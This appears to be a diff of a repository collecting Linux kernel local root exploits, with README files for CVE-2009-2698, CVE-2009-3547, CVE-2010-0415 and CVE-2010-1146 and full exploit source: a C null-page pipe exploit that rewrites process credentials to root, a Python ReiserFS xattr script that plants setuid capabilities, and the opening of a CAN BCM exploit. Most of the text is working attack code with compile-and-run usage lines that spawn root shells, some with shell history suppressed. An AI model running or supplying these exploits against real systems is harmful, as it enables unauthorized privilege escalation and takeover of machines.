addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
|
||||
return;
|
||||
}
|
||||
void exploit();
|
||||
void kernel_code()
|
||||
{
|
||||
asm("exploit:\n"
|
||||
"push %eax\n"
|
||||
"movl $0xfffff000,%eax\n"
|
||||
"andl %esp,%eax\n"
|
||||
"pushl (%eax)\n"
|
||||
"call get_root_uid\n"
|
||||
"addl $4,%esp\n"
|
||||
"popl %eax\n");
|
||||
return;
|
||||
}
|
||||
void *kernel=kernel_code;
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int fd=0;
|
||||
char buf[1024];
|
||||
struct sockaddr x0x;
|
||||
void *zero_page;
|
||||
|
||||
uid=getuid();
|
||||
gid=getgid();
|
||||
if(uid==0){
|
||||
fprintf(stderr,"[-] check ur uid\n");
|
||||
return -1;
|
||||
}
|
||||
if(personality(0xffffffff)==PER_SVR4){
|
||||
if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
|
||||
perror("[-] mprotect()");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
|
||||
perror("[-] mmap()");
|
||||
return -1;
|
||||
}
|
||||
*(unsigned long *)0x0=0x90909090;
|
||||
*(char *)0x00000004=0x90; /* +1 */
|
||||
*(char *)0x00000005=0xff;
|
||||
*(char *)0x00000006=0x25;
|
||||
*(unsigned long *)0x00000007=(unsigned long)&kernel;
|
||||
*(char *)0x0000000b=0xc3;
|
||||
|
||||
if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
|
||||
perror("[-] socket()");
|
||||
return -1;
|
||||
}
|
||||
x0x.sa_family=AF_UNSPEC;
|
||||
memset(x0x.sa_data,0x82,14);
|
||||
memset((char *)buf,0,sizeof(buf));
|
||||
sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
|
||||
sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
|
||||
if(getuid()==uid){
|
||||
printf("[-] exploit failed, try again\n");
|
||||
return -1;
|
||||
}
|
||||
close(fd);
|
||||
execl("/bin/sh","sh","-i",NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* eoc */
|
|
@ -0,0 +1,23 @@
|
|||
# CVE-2009-2698
|
||||
|
||||
CVE-2009-2698
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-2698](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-2698)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c](http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c)
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
# CVE-2009-3547
|
||||
|
||||
CVE-2009-3547
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2009-3547](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3547)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31
|
||||
```
|
||||
|
||||
## References
|
||||
* [exp](http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c)
|
||||
* [Linux 2.6.x fs/pipe.c local root exploit (CVE-2009-3547)](http://seclists.org/fulldisclosure/2009/Nov/105)
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,563 @@
|
|||
/******************************************************************************
|
||||
* .:: Impel Down ::.
|
||||
*
|
||||
* Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
|
||||
* by teach & xipe
|
||||
* Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
|
||||
* (hehe guyz, we would probably be high profile and mediatised el8 if we
|
||||
* lost less time on trolling all day long, but we LOVE IT :)))
|
||||
* Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
|
||||
* promise ivan, one day i'll kill u :p)
|
||||
*
|
||||
* (C) COPYRIGHT teach & xipe, 2009
|
||||
* All Rights Reserved
|
||||
*
|
||||
* teach@vxhell.org
|
||||
* xipe@vxhell.org
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
/* First of all, im about to teach (hehe, just like mah nick) you mah powerful copy-and-past skillz */
|
||||
|
||||
// didn't really care about this. i mixed 2.6.0 to 2.6.31 :)
|
||||
|
||||
#define PIPE_BUFFERS (16)
|
||||
|
||||
struct __wait_queue_head {
|
||||
int spinlock;
|
||||
|
||||
void *next, *prev; // struct list_head
|
||||
};
|
||||
|
||||
struct fasync_struct { // bleh! didn't change from 2.6.0 to 2.6.31
|
||||
int magic;
|
||||
int fa_fd;
|
||||
struct fasync_struct *fa_next;
|
||||
void *file; // struct file
|
||||
};
|
||||
|
||||
// this iz the w00t about 2.6.11 to 2.6.31
|
||||
struct pipe_buf_operations {
|
||||
int suce;
|
||||
int *fptr[6];
|
||||
};
|
||||
|
||||
|
||||
// from 2.6.0 to 2.6.10
|
||||
struct pipe_inode_info_2600_10 {
|
||||
struct __wait_queue_head wait;
|
||||
char *base; // !!!!!
|
||||
unsigned int len; // !!!
|
||||
unsigned int start; // !!!
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
};
|
||||
|
||||
// from 2.6.11 to 2.6.16
|
||||
struct pipe_buffer_2611_16 {
|
||||
void *suce;
|
||||
unsigned int offset, len;
|
||||
struct pipe_buf_operations *ops;
|
||||
};
|
||||
|
||||
struct pipe_inode_info_2611_16 {
|
||||
struct __wait_queue_head wait;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
};
|
||||
|
||||
// from 2.6.17 to 2.6.19
|
||||
struct pipe_buffer_2617_19 {
|
||||
void *suce;
|
||||
unsigned int offset, len;
|
||||
struct pipe_buf_operations *ops;
|
||||
unsigned int tapz;
|
||||
};
|
||||
|
||||
struct pipe_inode_info_2617_19 {
|
||||
struct __wait_queue_head wait;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
void *suce;
|
||||
};
|
||||
|
||||
// from 2.6.20 to 2.6.22
|
||||
struct pipe_buffer_2620_22 {
|
||||
void *suce;
|
||||
unsigned int offset, len;
|
||||
struct pipe_buf_operations *ops;
|
||||
unsigned int tapz;
|
||||
};
|
||||
|
||||
struct pipe_inode_info_2620_22 {
|
||||
struct __wait_queue_head wait;
|
||||
unsigned int nrbufs, curbuf;
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
void *suce;
|
||||
struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
|
||||
};
|
||||
|
||||
// AND FINALY from 2.6.23 to 2.6.31 ... :))
|
||||
struct pipe_buffer_2623_31 {
|
||||
void *suce;
|
||||
unsigned int offset, len;
|
||||
struct pipe_buf_operations *ops;
|
||||
unsigned int tapz;
|
||||
unsigned long tg;
|
||||
};
|
||||
|
||||
struct pipe_inode_info_2623_31 {
|
||||
struct __wait_queue_head wait;
|
||||
unsigned int nrbufs, curbuf;
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
void *suce;
|
||||
struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
|
||||
};
|
||||
|
||||
|
||||
|
||||
static pid_t uid;
|
||||
static gid_t gid;
|
||||
static int iz_kern2600_10;
|
||||
unsigned long taskstruct[1024];
|
||||
void gomu_gomu_nooooo_gatling_shell(void);
|
||||
int get_kern_version(void);
|
||||
void map_struct_at_null(void);
|
||||
void get_cur_task_and_escalate_priv(void);
|
||||
void* get_null_page(void);
|
||||
void error(char *s);
|
||||
int is_done(int new);
|
||||
|
||||
static inline void *get_4kstack_top()
|
||||
{
|
||||
void *stack;
|
||||
|
||||
__asm__ __volatile__ (
|
||||
"movl $0xfffff000,%%eax ;"
|
||||
"andl %%esp, %%eax ;"
|
||||
"movl %%eax, %0 ;"
|
||||
: "=r" (stack)
|
||||
);
|
||||
return stack;
|
||||
}
|
||||
|
||||
static inline void *get_8kstack_top()
|
||||
{
|
||||
void *stack;
|
||||
|
||||
__asm__ __volatile__ (
|
||||
"movl $0xffffe000,%%eax ;"
|
||||
"andl %%esp, %%eax ;"
|
||||
"movl %%eax, %0 ;"
|
||||
: "=r" (stack)
|
||||
);
|
||||
return stack;
|
||||
}
|
||||
|
||||
static inline void *get_current()
|
||||
{
|
||||
void *cur = *(void **)get_4kstack_top();
|
||||
if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) )
|
||||
return cur;
|
||||
else
|
||||
cur = *(void **)get_8kstack_top();
|
||||
return cur;
|
||||
}
|
||||
|
||||
|
||||
|
||||
void map_struct_at_null()
|
||||
{
|
||||
struct pipe_inode_info_2600_10 *pipe2600_10;
|
||||
|
||||
struct pipe_inode_info_2611_16 *pipe2611_16;
|
||||
|
||||
struct pipe_inode_info_2617_19 *pipe2617_19;
|
||||
|
||||
struct pipe_inode_info_2620_22 *pipe2620_22;
|
||||
|
||||
struct pipe_inode_info_2623_31 *pipe2623_31;
|
||||
|
||||
struct pipe_buf_operations luffy;
|
||||
|
||||
|
||||
FILE *f;
|
||||
unsigned int *sct_addr;
|
||||
unsigned int sc_addr;
|
||||
char dummy;
|
||||
char sname[256], pipebuf[10];
|
||||
int ret, i;
|
||||
void *page;
|
||||
|
||||
page = get_null_page();
|
||||
int version = get_kern_version();
|
||||
|
||||
luffy.suce = 1;
|
||||
for(i = 0; i < 6; i++)
|
||||
luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv;
|
||||
|
||||
// ok lets go ...
|
||||
if(version >= 2600 && version <= 2610)
|
||||
{
|
||||
iz_kern2600_10 = 1;
|
||||
|
||||
/* we are going to ninja an obsolete syscall from teh sys_call_table: sys_olduname
|
||||
* i don't bother to restore it after owning the kernel. implement it if u want :p
|
||||
*/
|
||||
|
||||
// hehe as u see, his imperial majesty spender haz alwayz good trickz
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL)
|
||||
{
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
{
|
||||
error("0hn000es. i cant open /proc/{kall,k}syms for looking after teh sys_call_table addr. maybe u should set it yourself!");
|
||||
}
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
while(ret != EOF)
|
||||
{
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname);
|
||||
if (ret == 0)
|
||||
{
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp("sys_call_table", sname))
|
||||
{
|
||||
printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr);
|
||||
fclose(f);
|
||||
}
|
||||
}
|
||||
|
||||
if(f != NULL)
|
||||
{
|
||||
fclose(f);
|
||||
error("0hn000es. i cant get sys_olduname addr. maybe u should set it yourself!");
|
||||
}
|
||||
|
||||
sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int));
|
||||
|
||||
pipe2600_10 = (struct pipe_inode_info_2600_10 *) page;
|
||||
memcpy(pipebuf, (char *) &sc_addr, sizeof(int));
|
||||
pipe2600_10->base = pipebuf;
|
||||
pipe2600_10->len = 0;
|
||||
pipe2600_10->start = 0;
|
||||
pipe2600_10->writers = 1;
|
||||
printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n");
|
||||
|
||||
}
|
||||
|
||||
else if(version >= 2611 && version <= 2616)
|
||||
{
|
||||
pipe2611_16 = (struct pipe_inode_info_2611_16 *) page;
|
||||
pipe2611_16->writers = 1;
|
||||
pipe2611_16->nrbufs = 1;
|
||||
for(i = 0; i < PIPE_BUFFERS; i++)
|
||||
pipe2611_16->bufs[i].ops = &luffy;
|
||||
printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n");
|
||||
}
|
||||
|
||||
else if(version >= 2617 && version <= 2619)
|
||||
{
|
||||
pipe2617_19 = (struct pipe_inode_info_2617_19 *) page;
|
||||
pipe2617_19->readers = 1;
|
||||
pipe2617_19->nrbufs = 1;
|
||||
for(i = 0; i < PIPE_BUFFERS; i++)
|
||||
pipe2617_19->bufs[i].ops = &luffy;
|
||||
pipe2617_19->wait.next = &pipe2617_19->wait.next;
|
||||
pipe2617_19->wait.spinlock = 1;
|
||||
printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n");
|
||||
}
|
||||
|
||||
else if(version >= 2620 && version <= 2622)
|
||||
{
|
||||
pipe2620_22 = (struct pipe_inode_info_2620_22 *) page;
|
||||
pipe2620_22->readers = 1;
|
||||
pipe2620_22->nrbufs = 1;
|
||||
for(i = 0; i < PIPE_BUFFERS; i++)
|
||||
pipe2620_22->bufs[i].ops = &luffy;
|
||||
pipe2620_22->wait.next = &pipe2620_22->wait.next;
|
||||
pipe2620_22->wait.spinlock = 1;
|
||||
printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n");
|
||||
}
|
||||
|
||||
else if(version >= 2623 && version <= 2631)
|
||||
{
|
||||
pipe2623_31 = (struct pipe_inode_info_2623_31 *) page;
|
||||
pipe2623_31->readers = 0;
|
||||
pipe2623_31->nrbufs = 0;
|
||||
for(i = 0; i < PIPE_BUFFERS; i++)
|
||||
pipe2623_31->bufs[i].ops = &luffy;
|
||||
pipe2623_31->wait.next = &pipe2623_31->wait.next;
|
||||
pipe2623_31->wait.spinlock = 1;
|
||||
printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n");
|
||||
}
|
||||
|
||||
else
|
||||
error("errrr! exploit not developped for ur kernel!");
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
int get_kern_version(void) // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ...
|
||||
{
|
||||
struct utsname buf;
|
||||
char second[2],third[3];
|
||||
int version = 2000;
|
||||
if(uname(&buf) < 0)
|
||||
error("can't have ur k3rn3l version. this box isn't for today :P\n");
|
||||
sprintf(second, "%c", buf.release[2]);
|
||||
second[1] = 0;
|
||||
version += atoi(second) * 100;
|
||||
|
||||
third[0] = buf.release[4];
|
||||
if(buf.release[5] >= '0' || buf.release[5] <= '9')
|
||||
{
|
||||
third[1] = buf.release[5];
|
||||
third[2] = 0;
|
||||
version += atoi(third);
|
||||
}
|
||||
else
|
||||
{
|
||||
third[1] = 0;
|
||||
version += third[0] - '0';
|
||||
}
|
||||
|
||||
printf("\t\t+ Kernel version %i\n", version);
|
||||
|
||||
return version;
|
||||
|
||||
}
|
||||
|
||||
// from our g0dz spender & julien :] lullz
|
||||
void* get_null_page(void)
|
||||
{
|
||||
void *page;
|
||||
if ((personality(0xffffffff)) != PER_SVR4)
|
||||
{
|
||||
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (page != NULL)
|
||||
{
|
||||
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (page != NULL)
|
||||
{
|
||||
error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
|
||||
{
|
||||
free(page);
|
||||
error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// may be we are lucky today ... :)
|
||||
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (page != NULL)
|
||||
{
|
||||
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (page != NULL)
|
||||
{
|
||||
error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :(
|
||||
{
|
||||
free(page);
|
||||
error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("\t\t+ Got null page\n");
|
||||
return page;
|
||||
}
|
||||
|
||||
void gomu_gomu_nooooo_gatling_shell(void) // sgrakkyu & twiz are el8 :))
|
||||
{
|
||||
char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
|
||||
char *envp[] = { "TERM=linux", "PS1=blackbird\\$ ", "BASH_HISTORY=/dev/null",
|
||||
"HISTORY=/dev/null", "history=/dev/null",
|
||||
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
|
||||
|
||||
execve("/bin/sh", argv, envp);
|
||||
error("hheeeehhh! unable to spawn a sh");
|
||||
}
|
||||
|
||||
|
||||
|
||||
int is_done(int new)
|
||||
{
|
||||
static int done = 0;
|
||||
if (done == 1)
|
||||
return (1);
|
||||
done = new;
|
||||
}
|
||||
|
||||
volatile int done = 0;
|
||||
|
||||
void get_cur_task_and_escalate_priv()
|
||||
{
|
||||
uint32_t i;
|
||||
uint32_t *task = get_current();
|
||||
uint32_t *cred = 0;
|
||||
|
||||
|
||||
for(i=0; i<0x1000; i++)
|
||||
{
|
||||
if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3]))
|
||||
{
|
||||
task[i] = 0;
|
||||
task[i+1] = 0;
|
||||
task[i+2] = 0;
|
||||
task[i+3] = 0;
|
||||
is_done(1);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i<1024; i++)
|
||||
{
|
||||
taskstruct[i] = task[i];
|
||||
cred = (uint32_t *)task[i];
|
||||
if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
|
||||
cred++; /* Get ride of the cred's 'usage' field */
|
||||
if (cred[0] == uid && cred[1] == gid
|
||||
&& cred[2] == uid && cred[3] == gid
|
||||
&& cred[4] == uid && cred[5] == gid
|
||||
&& cred[6] == uid && cred[7] == gid)
|
||||
{
|
||||
/* Get root */
|
||||
cred[0] = cred[2] = cred[4] = cred[6] = 0;
|
||||
cred[1] = cred[3] = cred[5] = cred[7] = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
is_done(1);
|
||||
}
|
||||
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
int fd[2];
|
||||
int pid;
|
||||
char tapz[4];
|
||||
|
||||
|
||||
uid = getuid();
|
||||
gid = getgid();
|
||||
setresuid(uid, uid, uid);
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
map_struct_at_null();
|
||||
|
||||
//while (1)
|
||||
{
|
||||
pid = fork();
|
||||
if (pid == -1)
|
||||
{
|
||||
perror("fork");
|
||||
return (-1);
|
||||
}
|
||||
if (pid)
|
||||
{
|
||||
char path[1024];
|
||||
/* I assume next opened fd will be 4 */
|
||||
sprintf(path, "/proc/%d/fd/4", pid);
|
||||
while (!is_done(0))
|
||||
{
|
||||
fd[0] = open(path, O_RDWR);
|
||||
if (fd[0] != -1)
|
||||
{
|
||||
if(iz_kern2600_10)
|
||||
{
|
||||
memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int));
|
||||
write(fd[0], tapz, 4);
|
||||
}
|
||||
close(fd[0]);
|
||||
}
|
||||
}
|
||||
if(iz_kern2600_10)
|
||||
{
|
||||
syscall(__NR_olduname, NULL);
|
||||
}
|
||||
printf("\t\t+ Got root!\n");
|
||||
gomu_gomu_nooooo_gatling_shell();
|
||||
return (0);
|
||||
}
|
||||
|
||||
while (!is_done(0))
|
||||
{
|
||||
if (pipe(fd) != -1)
|
||||
{
|
||||
close(fd[0]);
|
||||
close(fd[1]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
# CVE-2010-0415
|
||||
|
||||
CVE-2010-0415
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-0415](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0415)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
'''
|
||||
team-edward.py
|
||||
|
||||
Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation
|
||||
Jon Oberheide <jon@oberheide.org>
|
||||
http://jon.oberheide.org
|
||||
|
||||
Information:
|
||||
|
||||
https://bugzilla.redhat.com/show_bug.cgi?id=568041
|
||||
|
||||
The kernel allows processes to access the internal ".reiserfs_priv"
|
||||
directory at the top of a reiserfs filesystem which is used to store
|
||||
xattrs. Permissions are not enforced in that tree, so unprivileged
|
||||
users can view and potentially modify the xattrs on arbitrary files.
|
||||
|
||||
Usage:
|
||||
|
||||
$ python team-edward.py
|
||||
[+] checking for reiserfs mount with user_xattr mount option
|
||||
[+] checking for private xattrs directory at /.reiserfs_priv/xattrs
|
||||
[+] preparing shell in /tmp
|
||||
[+] capturing pre-shell snapshot of private xattrs directory
|
||||
[+] compiling shell in /tmp
|
||||
[+] setting dummy xattr to get reiserfs object id
|
||||
[+] capturing post-shell snapshot of private xattrs directory
|
||||
[+] found 1 new object ids
|
||||
[+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
|
||||
[+] spawning setuid shell...
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=4(adm), ...
|
||||
|
||||
Notes:
|
||||
|
||||
Obviously requires a ReiserFS filesystem mounted with extended attributes.
|
||||
Tested on Ubuntu Jaunty 9.10.
|
||||
'''
|
||||
|
||||
import os, sys
|
||||
|
||||
SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
|
||||
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
|
||||
def err(txt):
|
||||
print '[-] error: %s' % txt
|
||||
sys.exit(1)
|
||||
|
||||
def msg(txt):
|
||||
print '[+] %s' % txt
|
||||
|
||||
def main():
|
||||
msg('checking for reiserfs mount with user_xattr mount option')
|
||||
|
||||
f = open('/etc/fstab')
|
||||
for line in f:
|
||||
if 'reiserfs' in line and 'user_xattr' in line:
|
||||
break
|
||||
else:
|
||||
err('failed to find a reiserfs mount with user_xattr')
|
||||
f.close()
|
||||
|
||||
msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')
|
||||
|
||||
if not os.path.exists('/.reiserfs_priv/xattrs'):
|
||||
err('failed to locate private xattrs directory')
|
||||
|
||||
msg('preparing shell in /tmp')
|
||||
|
||||
f = open('/tmp/team-edward.c', 'w')
|
||||
f.write(SHELL)
|
||||
f.close()
|
||||
|
||||
msg('capturing pre-shell snapshot of private xattrs directory')
|
||||
|
||||
pre = set(os.listdir('/.reiserfs_priv/xattrs'))
|
||||
|
||||
msg('compiling shell in /tmp')
|
||||
|
||||
ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')
|
||||
if ret != 0:
|
||||
err('error compiling shell, you need gcc')
|
||||
|
||||
msg('setting dummy xattr to get reiserfs object id')
|
||||
|
||||
os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')
|
||||
if ret != 0:
|
||||
err('error setting xattr, you need setfattr')
|
||||
|
||||
msg('capturing post-shell snapshot of private xattrs directory')
|
||||
|
||||
post = set(os.listdir('/.reiserfs_priv/xattrs'))
|
||||
|
||||
objs = post.difference(pre)
|
||||
|
||||
msg('found %s new object ids' % len(objs))
|
||||
|
||||
for obj in objs:
|
||||
msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
|
||||
|
||||
f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
|
||||
f.write(XATTR)
|
||||
f.close()
|
||||
|
||||
msg('spawning setuid shell...')
|
||||
|
||||
os.system('/tmp/team-edward')
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
|
@ -0,0 +1,19 @@
|
|||
# CVE-2010-1146
|
||||
|
||||
CVE-2010-1146
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-1146](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1146)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/12130/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ python team-edward.py
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,615 @@
|
|||
/*
|
||||
* i-CAN-haz-MODHARDEN.c
|
||||
*
|
||||
* Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
|
||||
* Jon Oberheide <jon@oberheide.org>
|
||||
* http://jon.oberheide.org
|
||||
*
|
||||
* Information:
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
|
||||
*
|
||||
* Ben Hawkes discovered an integer overflow in the Controller Area Network
|
||||
* (CAN) subsystem when setting up frame content and filtering certain
|
||||
* messages. An attacker could send specially crafted CAN traffic to crash
|
||||
* the system or gain root privileges.
|
||||
*
|
||||
* Usage:
|
||||
*
|
||||
* $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
|
||||
* $ ./i-can-haz-modharden
|
||||
* ...
|
||||
* [+] launching root shell!
|
||||
* # id
|
||||
* uid=0(root) gid=0(root)
|
||||
*
|
||||
* Notes:
|
||||
*
|
||||
* The allocation pattern of the CAN BCM module gives us some desirable
|
||||
* properties for smashing the SLUB. We control the kmalloc with a 16-byte
|
||||
* granularity allowing us to place our allocation in the SLUB cache of our
|
||||
* choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for
|
||||
* old-times sake). The allocation can also be made in its own discrete
|
||||
* stage before the overwrite which allows us to be a bit more conservative
|
||||
* in ensuring the proper layout of our SLUB cache.
|
||||
*
|
||||
* To exploit the vulnerability, we first create a BCM RX op with a crafted
|
||||
* nframes to trigger the integer overflow during the kmalloc. On the second
